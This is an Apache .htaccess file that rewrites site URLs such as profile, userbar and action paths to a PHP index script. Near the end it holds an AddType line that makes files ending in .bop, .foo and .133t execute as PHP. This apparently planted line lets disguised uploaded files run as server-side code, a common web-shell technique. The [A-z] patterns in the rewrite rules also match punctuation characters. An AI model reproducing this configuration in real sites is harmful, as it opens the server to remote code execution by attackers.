RewriteEngine On
php_flag magic_quotes_gpc Off 
php_flag magic_quotes_runtime Off 
php_flag register_globals Off 
ErrorDocument 401 /401.html 
ErrorDocument 403 /403.html 
ErrorDocument 404 /404.html 
Options -Indexes 
RewriteRule ^profile-([0-9]+).html/?$ index.php?act=profile&id=$1 [QSA,L]
RewriteRule ^us([0-9]+).jpg/?$ index.php?act=showuserbar&id=$1 [QSA,L]
RewriteRule ^([A-z]+).html/?$ index.php?act=$1 [QSA,L]
RewriteRule ^([A-z]+)/([A-z]+).html/?$ index.php?act=$1&action=$2 [QSA,L]
RewriteRule ^([A-z]+)/([A-z]+)/([0-9]+).html/?$ index.php?act=$1&action=$2&userid=$3 [QSA,L]
RewriteRule ^([A-z]+)/([A-z]+)/([0-9]+)/([0-9]+).html/?$ index.php?act=$1&action=$2&userid=$3&step=$4 [QSA,L]
RewriteRule ^([A-z]+)/([A-z]+)/([0-9]+)/([0-9]+)/([0-9A-z+]+).html/?$ index.php?act=$1&action=$2&userid=$3&step=$4&code=$5 [QSA,L]
RewriteCond %{REQUEST_URI} !^/favicon.ico
RewriteCond %{REQUEST_FILENAME} !-f 
RewriteCond %{REQUEST_FILENAME} !-d 

AddType application/x-httpd-php .bop .foo .133t
RewriteRule ^(.*)$ index.php?route=$1 [L,QSA]